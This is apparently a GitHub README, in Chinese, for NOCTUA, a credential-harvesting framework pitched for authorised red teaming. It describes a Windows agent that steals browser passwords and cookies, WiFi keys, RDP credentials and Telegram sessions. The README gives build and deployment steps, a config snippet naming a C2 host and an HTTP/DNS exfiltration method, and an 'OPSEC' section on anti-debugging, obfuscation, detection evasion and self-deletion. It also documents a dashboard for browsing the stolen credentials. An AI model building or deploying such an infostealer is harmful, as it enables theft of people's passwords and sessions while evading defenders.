Adam-ZS/NOCTUA

GitHub: Adam-ZS/NOCTUA

NOCTUA 是一个面向授权红队测试的双组件凭据采集框架,通过 Windows C++ Agent 提取浏览器、WiFi、RDP 和 Telegram 凭据,并在 Flask 毛玻璃仪表盘中进行集中分析。

Stars: 1 | Forks: 0

# 🦉 NOCTUA - Credential Intelligence Framework ``` ████████╗██╗ ██╗███████╗ ███╗ ██╗ ██████╗ ██████╗████████╗██╗ ██╗ █████╗ ╚══██╔══╝██║ ██║██╔════╝ ████╗ ██║██╔═══██╗██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ██║ ███████║█████╗ ██╔██╗ ██║██║ ██║██║ ██║ ██║ ██║███████║ ██║ ██╔══██║██╔══╝ ██║╚██╗██║██║ ██║██║ ██║ ██║ ██║██╔══██║ ██║ ██║ ██║███████╗ ██║ ╚████║╚██████╔╝╚██████╗ ██║ ╚██████╔╝██║ ██║ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ``` *Copyright (c) 2025 Adam-ZS — https://github.com/Adam-ZS* [![Platform](https://img.shields.io/badge/platform-Windows%20x64-blue)]() [![Agent](https://img.shields.io/badge/lang-C%2B%2B11-purple)]() [![Dashboard](https://img.shields.io/badge/dashboard-Flask%202.3-cyan)]() [![License](https://img.shields.io/badge/license-EDUCATIONAL-red)]() **NOCTUA** 是一个双组件 credential 评估框架,专为授权的安全测试和教育目的而设计。它由一个用于 credential 收集的 Windows agent 和一个基于 Flask 的 Web dashboard(带有毛玻璃深色 UI 用于数据分析)组成。 ## ⚠️ 法律免责声明 ## ✨ 功能 ### Agent - 🔐 通过 SQLite + DPAPI 收割 **Chrome / Edge / Brave / Opera / Vivaldi** 密码 - 🌐 从基于 Chromium 的浏览器中**提取 Cookie** - 📡 通过 WLAN API 获取 **WiFi credentials**(带有明文密钥的 WlanGetProfile) - 🖥️ 从凭据管理器(TermSrv/TerminalServer)获取 **RDP credentials** - 💬 **Telegram session** 提取(authkey、maps、USERS 文件) - 🛡️ **反调试**保护(IsDebuggerPresent、NtGlobalFlag、RDTSC 计时) - 🔒 在编译时和运行时进行 **XOR 字符串混淆** - 📤 **多种外发方法**:HTTP POST、DNS TXT 查询、本地文件 - 🔄 用于 HTTP 外发的 **User-agent 轮换** - 🧵 带有交错延迟的**多线程收集** - 🗑️ 通过批处理脚本实现**自删除**选项 - 🔍 **单实例**互斥锁保护 ### Dashboard - 🎨 带有 backdrop-filter 模糊效果的**毛玻璃深色 UI** - 📊 **实时统计**(总数、类别细分) - 🔍 按关键字、目标类型、类别进行**搜索和过滤** - 📋 一键**复制**密码和完整 credentials - 📥 **导出**为 JSON 和 CSV 格式 - 🗑️ **Credential 管理**(删除单个、可见或全部) - 🔄 每 3 秒**自动轮询**并显示连接状态 - 🎯 适用于桌面和移动设备的**响应式设计** - 📱 所有操作的 **Toast 通知** ## 🏗️ 架构 ``` ┌─────────────────────────────────────────────────────────────────────┐ │ TARGET WINDOWS SYSTEM │ │ │ │ ┌───────────┐ ┌──────────┐ ┌───────────┐ ┌──────────────────┐ │ │ │ Chrome/ │ │ WLAN │ │ Cred │ │ Telegram │ │ │ │ Edge/Brave│ │ API │ │ Manager │ │ tdata │ │ │ │ DPAPI │ │ WiFi │ │ RDP │ │ Session │ │ │ └─────┬─────┘ └────┬─────┘ └─────┬─────┘ └───────┬──────────┘ │ │ │ │ │ │ │ │ └──────────────┴──────────────┴────────────────┘ │ │ │ │ │ ┌──────▼──────┐ │ │ │ NOCTUA │ │ │ │ Agent │ │ │ │ (C++ .exe) │ │ │ └──────┬──────┘ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ Exfiltration │ │ │ │ HTTP / DNS / File │ │ │ └───────────┬───────────┘ │ └────────────────────────────────┼─────────────────────────────────────┘ │ ┌────────────▼────────────┐ │ Flask Dashboard │ │ (Python / SQLite) │ │ POST /api/collect │ │ GET /api/data │ └─────────────────────────┘ ``` ## 📦 组件 ### Agent (`agent/`) | 文件 | 描述 | |------|-------------| | `src/main.cpp` | WinMain 入口、反调试、线程管理、自删除 | | `src/obfuscate.h` | XOR 编译时/运行时字符串加密、反调试辅助函数 | | `src/config.h` | XOR 混淆的编译时配置宏 | | `src/dumper.h` | 带有实用工具函数的抽象 dumper 基类 | | `src/chrome.cpp` | Chrome/Edge/Brave/Opera/Vivaldi 密码和 cookie dumper | | `src/wifi.cpp` | 通过 WLAN API 获取 WiFi credentials | | `src/rdp.cpp` | 通过 CredEnumerateW + .rdp 文件解析获取 RDP credentials | | `src/telegram.cpp` | Telegram Desktop session 提取 | | `src/exfil.cpp` | JSON 序列化、HTTP/DNS/文件外发 | | `CMakeLists.txt` | CMake 交叉编译配置 | | `Makefile` | 简单的 MinGW makefile | ### Dashboard (`dashboard/`) | 文件 | 描述 | |------|-------------| | `app.py` | 带有 REST API + SQLite 存储的 Flask 应用程序 | | `requirements.txt` | Python 依赖项 | | `templates/index.html` | 毛玻璃 dashboard HTML | | `static/css/style.css` | 完整的毛玻璃深色主题 CSS | | `static/js/app.js` | 自动轮询、搜索、复制、导出、Toast 通知 JS | ## 🚀 快速开始 ### Dashboard 设置 ``` # 安装依赖 cd dashboard pip install -r requirements.txt # 运行 dashboard python app.py # → 正在监听 http://0.0.0.0:5000 ``` ### Agent 构建(Linux 交叉编译) ``` # 安装 MinGW cross-compiler sudo apt-get install mingw-w64 upx-ucl # 使用 Make 构建 cd agent make # 或使用 CMake mkdir build && cd build cmake .. -DCMAKE_TOOLCHAIN_FILE=../cmake/mingw-toolchain.cmake make # 输出:noctua_agent.exe ``` ### Agent 构建(Windows 原生) ``` # 使用 Visual Studio Developer Command Prompt cl /EHsc /Fe:noctua_agent.exe src/*.cpp /link crypt32.lib secur32.lib wininet.lib ws2_32.lib ole32.lib credui.lib wlanapi.lib shlwapi.lib shell32.lib /SUBSYSTEM:WINDOWS ``` ### 部署 1. 启动 dashboard:`python app.py` 2. 在目标 Windows 系统上部署 `noctua_agent.exe` 3. Agent 收集 credentials 并通过 HTTP POST 发送到 dashboard 4. 在 `http://your-server:5000` 查看收集的数据 ## 📡 API 参考 | 方法 | Endpoint | 描述 | |--------|----------|-------------| | `GET` | `/` | Dashboard UI | | `POST` | `/api/collect` | 接收来自 agent 的 credentials | | `GET` | `/api/data` | 获取 credentials(支持搜索/过滤/分页) | | `DELETE` | `/api/data` | 删除 credentials(全部 / 按 id / 按目标) | | `GET` | `/api/stats` | 获取 credential 统计信息 | | `GET` | `/api/export/json` | 将 credentials 导出为 JSON | | `GET` | `/api/export/csv` | 将 credentials 导出为 CSV | | `GET` | `/api/config` | 获取配置 | | `POST` | `/api/config` | 更新配置 | | `GET` | `/api/health` | 健康检查 | ### POST /api/collect 示例 ``` { "computer_name": "DESKTOP-ABC123", "username": "jdoe", "credentials": [ { "target": "Chrome", "username": "admin@example.com", "password": "P@ssw0rd!", "url": "https://example.com/login", "notes": "Chrome Login Data" }, { "target": "WiFi", "username": "Corp-Network", "password": "WiFiP@ss!", "url": "", "notes": "Interface: Intel Wi-Fi 6 AX201" } ] } ``` ## 🔒 OPSEC 考量 - **XOR 混淆**保护二进制文件中的静态字符串 - **反调试**检查有助于防止在沙箱环境中进行分析 - 启动线程之间的**交错延迟**以避免行为检测 - 用于 HTTP 外发流量的 **User-agent 轮换** - 当 HTTP 被阻止时,使用 **DNS 外发**作为后备 - 用于基于文件的外发的**隐藏文件属性** - **自删除**选项以在执行后删除痕迹 - **单实例互斥锁**防止多个并发执行 ## 🛠️ 自定义 编辑 `agent/src/config.h` 以配置: ``` #define C2_HOST XOR_LIT("your-server.com") // C2 server #define C2_PORT XOR_LIT("5000") // C2 port #define EXFIL_METHOD XOR_LIT("http") // http, dns, file #define SELF_DELETE XOR_LIT("0") // 1 to enable ``` ## 📚 要求 ### Agent 构建 - MinGW-w64 (Linux) 或 MSVC (Windows) - Windows SDK 头文件(随 MinGW/MSVC 提供) ### Dashboard - Python 3.8+ - Flask 2.3+ - Flask-CORS ## 🧪 兼容性 | 浏览器 | 密码 | Cookie | |---------|-----------|---------| | Google Chrome | ✅ | ✅ | | Microsoft Edge | ✅ | ✅ | | Brave Browser | ✅ | ✅ | | Opera | ✅ | ❌ | | Vivaldi | ✅ | ❌ | | 功能 | 状态 | |---------|--------| | WiFi (WPA/WPA2) | ✅ | | RDP Credential Manager | ✅ | | RDP .rdp 文件 | ✅ | | Telegram Desktop | ✅ | ## 📄 许可证 Copyright (c) 2025 **Adam-ZS** — https://github.com/Adam-ZS **仅供教育用途** — 完整条款请参阅 [LICENSE](LICENSE)。 未经授权访问计算机系统是非法的。在对您不拥有的任何系统进行测试之前,您必须获得明确的书面许可。 *由 [Adam-ZS](https://github.com/Adam-ZS) 使用 🦉 构建,用于授权测试和教育。*
标签:Bash脚本, C++, Flask, 凭证收集, 多模态安全, 数据可视化, 数据擦除, 网络安全, 逆向工具, 隐私保护